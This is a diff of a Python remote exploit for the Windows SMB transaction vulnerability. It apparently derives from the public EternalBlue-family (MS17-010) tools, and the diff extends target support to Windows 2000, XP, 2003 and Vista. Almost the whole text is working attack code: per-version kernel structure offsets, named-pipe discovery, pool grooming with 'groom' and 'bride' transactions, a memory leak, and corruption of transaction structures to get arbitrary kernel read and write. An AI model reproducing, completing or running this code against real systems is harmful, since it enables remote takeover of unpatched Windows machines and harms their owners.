'SESSION_SECCTX_OFFSET': 0x80, 'SESSION_SECCTX_OFFSET': 0x80,
'SESSION_ISNULL_OFFSET': 0x96, 'SESSION_ISNULL_OFFSET': 0x96,
'FAKE_SECCTX': pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1), 'FAKE_SECCTX': pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1),
@ -81,58 +114,192 @@ WIN7_32_INFO = {
} }
# win8+ info # win8+ info
WIN8_INFO = { WIN8_64_SESSION_INFO = {
'SESSION_SECCTX_OFFSET': 0xb0, 'SESSION_SECCTX_OFFSET': 0xb0,
'SESSION_ISNULL_OFFSET': 0xca, 'SESSION_ISNULL_OFFSET': 0xca,
'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1), 'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),
'SECCTX_SIZE': 0x38, 'SECCTX_SIZE': 0x38,
} }
WIN8_32_INFO = { WIN8_32_SESSION_INFO = {
'SESSION_SECCTX_OFFSET': 0x88, 'SESSION_SECCTX_OFFSET': 0x88,
'SESSION_ISNULL_OFFSET': 0x9e, 'SESSION_ISNULL_OFFSET': 0x9e,
'FAKE_SECCTX': pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1), 'FAKE_SECCTX': pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1),
'SECCTX_SIZE': 0x24, 'SECCTX_SIZE': 0x24,
} }
X86_INFO = { # win 2003 (xp 64 bit is win 2003)
'PTR_SIZE' : 4, WIN2K3_64_SESSION_INFO = {
'PTR_FMT' : 'I', 'SESSION_ISNULL_OFFSET': 0xba,
'FRAG_TAG_OFFSET' : 12, 'SESSION_SECCTX_OFFSET': 0xa0, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
'POOL_ALIGN' : 8, 'SECCTX_PCTXTHANDLE_OFFSET': 0x10, # PCtxtHandle is at offset 0x8 but only upperPart is needed
'SRV_BUFHDR_SIZE' : 8, 'PCTXTHANDLE_TOKEN_OFFSET': 0x40,
'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
}
WIN2K3_32_SESSION_INFO = {
'SESSION_ISNULL_OFFSET': 0x96,
'SESSION_SECCTX_OFFSET': 0x80, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
'SECCTX_PCTXTHANDLE_OFFSET': 0xc, # PCtxtHandle is at offset 0x8 but only upperPart is needed
'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
}
# win xp
WINXP_32_SESSION_INFO = {
'SESSION_ISNULL_OFFSET': 0x94,
'SESSION_SECCTX_OFFSET': 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed
'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
}
WIN2K_32_SESSION_INFO = {
'SESSION_ISNULL_OFFSET': 0x94,
'SESSION_SECCTX_OFFSET': 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed
'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
'TOKEN_USER_GROUP_CNT_OFFSET': 0x3c,
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x58,
}
###########################
# info for exploitation
###########################
# for windows 2008+
WIN7_32_TRANS_INFO = {
'TRANS_SIZE' : 0xa0, # struct size 'TRANS_SIZE' : 0xa0, # struct size
'TRANS_FLINK_OFFSET' : 0x18, 'TRANS_FLINK_OFFSET' : 0x18,
'TRANS_INPARAM_OFFSET' : 0x40, 'TRANS_INPARAM_OFFSET' : 0x40,
'TRANS_OUTPARAM_OFFSET' : 0x44, 'TRANS_OUTPARAM_OFFSET' : 0x44,
'TRANS_INDATA_OFFSET' : 0x48, 'TRANS_INDATA_OFFSET' : 0x48,
'TRANS_OUTDATA_OFFSET' : 0x4c, 'TRANS_OUTDATA_OFFSET' : 0x4c,
'TRANS_PARAMCNT_OFFSET' : 0x58,
'TRANS_TOTALPARAMCNT_OFFSET' : 0x5c,
'TRANS_FUNCTION_OFFSET' : 0x72, 'TRANS_FUNCTION_OFFSET' : 0x72,
'TRANS_MID_OFFSET' : 0x80, 'TRANS_MID_OFFSET' : 0x80,
} }
X64_INFO = { WIN7_64_TRANS_INFO = {
'PTR_SIZE' : 8,
'PTR_FMT' : 'Q',
'FRAG_TAG_OFFSET' : 0x14,
'POOL_ALIGN' : 0x10,
'SRV_BUFHDR_SIZE' : 0x10,
'TRANS_SIZE' : 0xf8, # struct size 'TRANS_SIZE' : 0xf8, # struct size
'TRANS_FLINK_OFFSET' : 0x28, 'TRANS_FLINK_OFFSET' : 0x28,
'TRANS_INPARAM_OFFSET' : 0x70, 'TRANS_INPARAM_OFFSET' : 0x70,
'TRANS_OUTPARAM_OFFSET' : 0x78, 'TRANS_OUTPARAM_OFFSET' : 0x78,
'TRANS_INDATA_OFFSET' : 0x80, 'TRANS_INDATA_OFFSET' : 0x80,
'TRANS_OUTDATA_OFFSET' : 0x88, 'TRANS_OUTDATA_OFFSET' : 0x88,
'TRANS_PARAMCNT_OFFSET' : 0x98,
'TRANS_TOTALPARAMCNT_OFFSET' : 0x9c,
'TRANS_FUNCTION_OFFSET' : 0xb2, 'TRANS_FUNCTION_OFFSET' : 0xb2,
'TRANS_MID_OFFSET' : 0xc0, 'TRANS_MID_OFFSET' : 0xc0,
} }
WIN5_32_TRANS_INFO = {
'TRANS_SIZE' : 0x98, # struct size
'TRANS_FLINK_OFFSET' : 0x18,
'TRANS_INPARAM_OFFSET' : 0x3c,
'TRANS_OUTPARAM_OFFSET' : 0x40,
'TRANS_INDATA_OFFSET' : 0x44,
'TRANS_OUTDATA_OFFSET' : 0x48,
'TRANS_PARAMCNT_OFFSET' : 0x54,
'TRANS_TOTALPARAMCNT_OFFSET' : 0x58,
'TRANS_FUNCTION_OFFSET' : 0x6e,
'TRANS_PID_OFFSET' : 0x78,
'TRANS_MID_OFFSET' : 0x7c,
}
WIN5_64_TRANS_INFO = {
'TRANS_SIZE' : 0xe0, # struct size
'TRANS_FLINK_OFFSET' : 0x28,
'TRANS_INPARAM_OFFSET' : 0x68,
'TRANS_OUTPARAM_OFFSET' : 0x70,
'TRANS_INDATA_OFFSET' : 0x78,
'TRANS_OUTDATA_OFFSET' : 0x80,
'TRANS_PARAMCNT_OFFSET' : 0x90,
'TRANS_TOTALPARAMCNT_OFFSET' : 0x94,
'TRANS_FUNCTION_OFFSET' : 0xaa,
'TRANS_PID_OFFSET' : 0xb4,
'TRANS_MID_OFFSET' : 0xb8,
}
X86_INFO = {
'ARCH' : 'x86',
'PTR_SIZE' : 4,
'PTR_FMT' : 'I',
'FRAG_TAG_OFFSET' : 12,
'POOL_ALIGN' : 8,
'SRV_BUFHDR_SIZE' : 8,
}
X64_INFO = {
'ARCH' : 'x64',
'PTR_SIZE' : 8,
'PTR_FMT' : 'Q',
'FRAG_TAG_OFFSET' : 0x14,
'POOL_ALIGN' : 0x10,
'SRV_BUFHDR_SIZE' : 0x10,
}
def merge_dicts(*dict_args):
result = {}
for dictionary in dict_args:
result.update(dictionary)
return result
OS_ARCH_INFO = {
# for Windows Vista, 2008, 7 and 2008 R2
'WIN7': {
'x86': merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN7_32_SESSION_INFO),
'x64': merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN7_64_SESSION_INFO),
},
# for Windows 8 and later
'WIN8': {
'x86': merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN8_32_SESSION_INFO),
'x64': merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN8_64_SESSION_INFO),
},
'WINXP': {
'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WINXP_32_SESSION_INFO),
'x64': merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO),
},
'WIN2K3': {
'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K3_32_SESSION_INFO),
'x64': merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO),
},
'WIN2K': {
'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K_32_SESSION_INFO),
},
}
TRANS_NAME_LEN = 4
HEAP_HDR_SIZE = 8 # heap chunk header size
def calc_alloc_size(size, align_size):
return (size + align_size - 1) & ~(align_size-1)
def wait_for_request_processed(conn): def wait_for_request_processed(conn):
#time.sleep(0.05) #time.sleep(0.05)
# send echo is faster than sleep(0.05) when connection is very good # send echo is faster than sleep(0.05) when connection is very good
conn.send_echo('a') conn.send_echo('a')
def find_named_pipe(conn):
pipes = [ 'browser', 'spoolss', 'netlogon', 'lsarpc', 'samr' ]
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
found_pipe = None
for pipe in pipes:
try:
fid = conn.nt_create_andx(tid, pipe)
conn.close(tid, fid)
found_pipe = pipe
except smb.SessionError as e:
pass
conn.disconnect_tree(tid)
return found_pipe
special_mid = 0 special_mid = 0
extra_last_mid = 0 extra_last_mid = 0
def reset_extra_mid(conn): def reset_extra_mid(conn):
@ -145,62 +312,87 @@ def next_extra_mid():
extra_last_mid += 1 extra_last_mid += 1
return extra_last_mid return extra_last_mid
# Borrow 'groom' and 'bride' word from NSA tool # Borrow 'groom' and 'bride' word from NSA tool
# GROOM_TRANS_SIZE includes transaction name, parameters and data # GROOM_TRANS_SIZE includes transaction name, parameters and data
# Note: the GROOM_TRANS_SIZE size MUST be multiple of 16 to make FRAG_TAG_OFFSET valid
GROOM_TRANS_SIZE = 0x5010 GROOM_TRANS_SIZE = 0x5010
def leak_frag_size(conn, tid, fid):
def calc_alloc_size(size, align_size): # this method can be used on Windows Vista/2008 and later
return (size + align_size - 1) & ~(align_size-1) # leak "Frag" pool size and determine target architecture
info = {}
def leak_frag_size(conn, tid, fid, info):
# A "Frag" pool is placed after the large pool allocation if last page has some free space left. # A "Frag" pool is placed after the large pool allocation if last page has some free space left.
# A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version. # A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version.
# To make exploit more generic, exploit does info leak to find a "Frag" pool size. # To make exploit more generic, exploit does info leak to find a "Frag" pool size.
# From the leak info, we can determine the target architecture too. # From the leak info, we can determine the target architecture too.
mid = conn.next_mid() mid = conn.next_mid()
req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-4) req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-TRANS_NAME_LEN)
req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes
conn.send_raw(req1[:-8]) conn.send_raw(req1[:-8])
conn.send_raw(req1[-8:]+req2) conn.send_raw(req1[-8:]+req2)
leakData = conn.recv_transaction_data(mid, 0x10d0+276) leakData = conn.recv_transaction_data(mid, 0x10d0+276)
leakData = leakData[0x10d4:] # skip parameters and its own input leakData = leakData[0x10d4:] # skip parameters and its own input
# Detect target architecture and calculate frag pool size
if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET']+4] == 'Frag': if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
print('Target is 32 bit') print('Target is 32 bit')
if info['SESSION_SECCTX_OFFSET'] == WIN7_INFO['SESSION_SECCTX_OFFSET']: info['arch'] = 'x86'
info.update(WIN7_32_INFO) info['FRAG_POOL_SIZE'] = ord(leakData[ X86_INFO['FRAG_TAG_OFFSET']-2 ]) * X86_INFO['POOL_ALIGN']
elif info['SESSION_SECCTX_OFFSET'] == WIN8_INFO['SESSION_SECCTX_OFFSET']:
info.update(WIN8_32_INFO)
else:
print('The exploit does not support this 32 bit target')
sys.exit()
info.update(X86_INFO)
elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET']+4] == 'Frag': elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
print('Target is 64 bit') print('Target is 64 bit')
info.update(X64_INFO) info['arch'] = 'x64'
info['FRAG_POOL_SIZE'] = ord(leakData[ X64_INFO['FRAG_TAG_OFFSET']-2 ]) * X64_INFO['POOL_ALIGN']
else: else:
print('Not found Frag pool tag in leak data') print('Not found Frag pool tag in leak data')
sys.exit() sys.exit()
# Calculate frag pool size
info['FRAG_POOL_SIZE'] = ord(leakData[ info['FRAG_TAG_OFFSET']-2 ]) * info['POOL_ALIGN']
print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE'])) print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))
return info
# groom: srv buffer header
info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE']))
# groom paramters and data is alignment by 8 because it is NT_TRANS
info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - 4 - 4 - info['TRANS_SIZE'] # empty transaction name (4), alignment (4)
# bride: srv buffer header, pool header (same as pool align size), empty transaction name (4) def read_data(conn, info, read_addr, read_size):
bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE'] fmt = info['PTR_FMT']
info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN']) # modify trans2.OutParameter to leak next transaction and trans2.OutData to leak real data
print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE'])) # modify trans2.*ParameterCount and trans2.*DataCount to limit data
# bride paramters and data is alignment by 4 because it is TRANS new_data = pack('<'+fmt*3, info['trans2_addr']+info['TRANS_FLINK_OFFSET'], info['trans2_addr']+0x200, read_addr) # OutParameter, InData, OutData
info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - 4 - info['TRANS_SIZE'] # empty transaction name (4) new_data += pack('<II', 0, 0) # SetupCount, MaxSetupCount
new_data += pack('<III', 8, 8, 8) # ParamterCount, TotalParamterCount, MaxParameterCount
new_data += pack('<III', read_size, read_size, read_size) # DataCount, TotalDataCount, MaxDataCount
new_data += pack('<HH', 0, 5) # Category, Function (NT_RENAME)
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET'])
# create one more transaction before leaking data
# - next transaction can be used for arbitrary read/write after the current trans2 is done
# - next transaction address is from TransactionListEntry.Flink value
conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=0x4300-0x20, totalParameterCount=0x1000)
return info['FRAG_POOL_SIZE'] # finish the trans2 to leak
conn.send_nt_trans_secondary(mid=info['trans2_mid'])
read_data = conn.recv_transaction_data(info['trans2_mid'], 8+read_size)
# set new trans2 address
info['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - info['TRANS_FLINK_OFFSET']
# set trans1.InData to &trans2
conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<'+fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET'])
wait_for_request_processed(conn)
# modify trans2 mid
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)
return read_data[8:] # no need to return parameter
def write_data(conn, info, write_addr, write_data):
# trans2.InData
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<'+info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET'])
wait_for_request_processed(conn)
# write data
conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)
wait_for_request_processed(conn)
def align_transaction_and_leak(conn, tid, fid, info, numFill=4): def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
@ -210,10 +402,12 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
conn.send_nt_trans(5, param=trans_param, totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0) conn.send_nt_trans(5, param=trans_param, totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0)
mid_ntrename = conn.next_mid() mid_ntrename = conn.next_mid()
# first GROOM, for leaking next BRIDE transaction
req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=info['GROOM_DATA_SIZE']-0x10d0) req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=info['GROOM_DATA_SIZE']-0x10d0)
req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes
# second GROOM, for controlling next BRIDE transaction
req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE']-0x1000, maxParameterCount=0x1000) req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE']-0x1000, maxParameterCount=0x1000)
# many BRIDEs, expect two of them are allocated at splitted pool from GROOM
reqs = [] reqs = []
for i in range(12): for i in range(12):
mid = next_extra_mid() mid = next_extra_mid()
@ -278,86 +472,41 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
'session': session_addr, 'session': session_addr,
'next_page_addr': next_page_addr, 'next_page_addr': next_page_addr,
'trans1_mid': leak_mid, 'trans1_mid': leak_mid,
'trans1_addr': inparam_value - info['TRANS_SIZE'] - 4, 'trans1_addr': inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN,
'trans2_addr': flink_value - info['TRANS_FLINK_OFFSET'], 'trans2_addr': flink_value - info['TRANS_FLINK_OFFSET'],
'special_mid': special_mid,
} }
def read_data(conn, info, read_addr, read_size): def exploit_matched_pairs(conn, pipe_name, info):
fmt = info['PTR_FMT'] # for Windows 7/2008 R2 and later
# modify trans2.OutParameter to leak next transaction and trans2.OutData to leak real data
# modify trans2.*ParameterCount and trans2.*DataCount to limit data
new_data = pack('<'+fmt*3, info['trans2_addr']+info['TRANS_FLINK_OFFSET'], info['trans2_addr']+0x200, read_addr) # OutParameter, InData, OutData
new_data += pack('<II', 0, 0) # SetupCount, MaxSetupCount
new_data += pack('<III', 8, 8, 8) # ParamterCount, TotalParamterCount, MaxParameterCount
new_data += pack('<III', read_size, read_size, read_size) # DataCount, TotalDataCount, MaxDataCount
new_data += pack('<HH', 0, 5) # Category, Function (NT_RENAME)
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET'])
# create one more transaction before leaking data tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
# - next transaction can be used for arbitrary read/write after the current trans2 is done conn.set_default_tid(tid)
# - next transaction address is from TransactionListEntry.Flink value # fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=0x4300-0x20, totalParameterCount=0x1000) fid = conn.nt_create_andx(tid, pipe_name)
# finish the trans2 to leak
conn.send_nt_trans_secondary(mid=info['trans2_mid'])
read_data = conn.recv_transaction_data(info['trans2_mid'], 8+read_size)
# set new trans2 address info.update(leak_frag_size(conn, tid, fid))
info['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - info['TRANS_FLINK_OFFSET'] # add os and arch specific exploit info
info.update(OS_ARCH_INFO[info['os']][info['arch']])
# set trans1.InData to &trans2 # groom: srv buffer header
conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<'+fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET']) info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
wait_for_request_processed(conn) print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE']))
# groom paramters and data is alignment by 8 because it is NT_TRANS
info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - info['TRANS_SIZE'] # alignment (4)
# modify trans2 mid # bride: srv buffer header, pool header (same as pool align size), empty transaction name (4)
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET']) bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE']
wait_for_request_processed(conn) info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'])
print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE']))
# bride paramters and data is alignment by 4 because it is TRANS
info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - info['TRANS_SIZE']
return read_data[8:] # no need to return parameter
def write_data(conn, info, write_addr, write_data):
# trans2.InData
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<'+info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET'])
wait_for_request_processed(conn)
# write data
conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)
wait_for_request_processed(conn)
def exploit(target, pipe_name):
conn = MYSMB(target)
# set NODELAY to make exploit much faster
conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
info = {}
conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
server_os = conn.get_server_os()
print('Target OS: '+server_os)
if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"):
info.update(WIN7_INFO)
elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 "):
info.update(WIN8_INFO)
else:
print('This exploit does not support this target')
sys.exit()
# ================================ # ================================
# try align pagedpool and leak info until satisfy # try align pagedpool and leak info until satisfy
# ================================ # ================================
leakInfo = None leakInfo = None
# max attempt: 10 # max attempt: 10
for i in range(10): for i in range(10):
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
conn.set_default_tid(tid)
# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
fid = conn.nt_create_andx(tid, pipe_name)
if 'FRAG_POOL_SIZE' not in info:
leak_frag_size(conn, tid, fid, info)
reset_extra_mid(conn) reset_extra_mid(conn)
leakInfo = align_transaction_and_leak(conn, tid, fid, info) leakInfo = align_transaction_and_leak(conn, tid, fid, info)
if leakInfo is not None: if leakInfo is not None:
@ -365,6 +514,11 @@ def exploit(target, pipe_name):
print('leak failed... try again') print('leak failed... try again')
conn.close(tid, fid) conn.close(tid, fid)
conn.disconnect_tree(tid) conn.disconnect_tree(tid)
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
conn.set_default_tid(tid)
fid = conn.nt_create_andx(tid, pipe_name)
if leakInfo is None: if leakInfo is None:
return False return False
@ -372,7 +526,7 @@ def exploit(target, pipe_name):
info.update(leakInfo) info.update(leakInfo)
# ================================ # ================================
# shift trans1.Indata ptr with SmbWriteAndX # shift transGroom.Indata ptr with SmbWriteAndX
# ================================ # ================================
shift_indata_byte = 0x200 shift_indata_byte = 0x200
conn.do_write_andx_raw_pipe(fid, 'A'*shift_indata_byte) conn.do_write_andx_raw_pipe(fid, 'A'*shift_indata_byte)
@ -392,7 +546,7 @@ def exploit(target, pipe_name):
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus())) print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
print('!!! Write to wrong place !!!') print('!!! Write to wrong place !!!')
print('the target might be crashed') print('the target might be crashed')
sys.exit() return False
print('success controlling groom transaction') print('success controlling groom transaction')
@ -405,26 +559,284 @@ def exploit(target, pipe_name):
# ================================ # ================================
print('modify trans1 struct for arbitrary read/write') print('modify trans1 struct for arbitrary read/write')
fmt = info['PTR_FMT'] fmt = info['PTR_FMT']
# modify trans_special.InData to &trans1 # use transGroom to modify trans2.InData to &trans1. so we can modify trans1 with trans2 data
conn.send_nt_trans_secondary(mid=fid, data=pack('<'+fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET']) conn.send_nt_trans_secondary(mid=fid, data=pack('<'+fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET'])
wait_for_request_processed(conn) wait_for_request_processed(conn)
# modify # modify
# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself # - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
# - trans1.InData to &trans2. so we can modify trans2 easily # - trans1.InData to &trans2. so we can modify trans2 with trans1 data
conn.send_nt_trans_secondary(mid=info['special_mid'], data=pack('<'+fmt*3, info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET']) conn.send_nt_trans_secondary(mid=special_mid, data=pack('<'+fmt*3, info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET'])
wait_for_request_processed(conn) wait_for_request_processed(conn)
# modify trans2.mid # modify trans2.mid
info['trans2_mid'] = conn.next_mid() info['trans2_mid'] = conn.next_mid()
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET']) conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
return True
def exploit_fish_barrel(conn, pipe_name, info):
# for Windows Vista/2008 and earlier
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
conn.set_default_tid(tid)
# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
fid = conn.nt_create_andx(tid, pipe_name)
info['fid'] = fid
if info['os'] == 'WIN7' and 'arch' not in info:
# leak_frag_size() can be used against Windows Vista/2008 to determine target architecture
info.update(leak_frag_size(conn, tid, fid))
if 'arch' in info:
# add os and arch specific exploit info
info.update(OS_ARCH_INFO[info['os']][info['arch']])
attempt_list = [ OS_ARCH_INFO[info['os']][info['arch']] ]
else:
# do not know target architecture
# this case is only for Windows 2003
# try offset of 64 bit then 32 bit because no target architecture
attempt_list = [ OS_ARCH_INFO[info['os']]['x64'], OS_ARCH_INFO[info['os']]['x86'] ]
# ================================
# groom packets
# ================================
# sum of transaction name, parameters and data length is 0x1000
# paramterCount = 0x100-TRANS_NAME_LEN
print('Groom packets')
trans_param = pack('<HH', info['fid'], 0)
for i in range(12):
mid = info['fid'] if i == 8 else next_extra_mid()
conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0)
# expected transactions alignment
#
# +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
# | mid=mid1 | mid=mid2 | | mid=mid8 | mid=fid | mid=mid9 | mid=mid10 | mid=mid11 |
# +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
# trans1 trans2
# ================================
# shift transaction Indata ptr with SmbWriteAndX
# ================================
shift_indata_byte = 0x200
conn.do_write_andx_raw_pipe(info['fid'], 'A'*shift_indata_byte)
# ================================
# Dangerous operation: attempt to control one transaction
# ================================
# Note: POOL_ALIGN value is same as heap alignment value
success = False
for tinfo in attempt_list:
print('attempt controlling next transaction on ' + tinfo['ARCH'])
HEAP_CHUNK_PAD_SIZE = (tinfo['POOL_ALIGN'] - (tinfo['TRANS_SIZE']+HEAP_HDR_SIZE) % tinfo['POOL_ALIGN']) % tinfo['POOL_ALIGN']
NEXT_TRANS_OFFSET = 0xf00 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
# Below operation is dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
conn.send_trans_secondary(mid=info['fid'], data='\x00', dataDisplacement=NEXT_TRANS_OFFSET+tinfo['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)
# if the overwritten is correct, a modified transaction mid should be special_mid now.
# a new transaction with special_mid should be error.
recvPkt = conn.send_nt_trans(5, mid=special_mid, param=trans_param, data='')
if recvPkt.getNTStatus() == 0x10002: # invalid SMB
print('success controlling one transaction')
success = True
if 'arch' not in info:
print('Target is '+tinfo['ARCH'])
info['arch'] = tinfo['ARCH']
info.update(OS_ARCH_INFO[info['os']][info['arch']])
break
if recvPkt.getNTStatus() != 0:
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
if not success:
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
print('!!! Write to wrong place !!!')
print('the target might be crashed')
return False
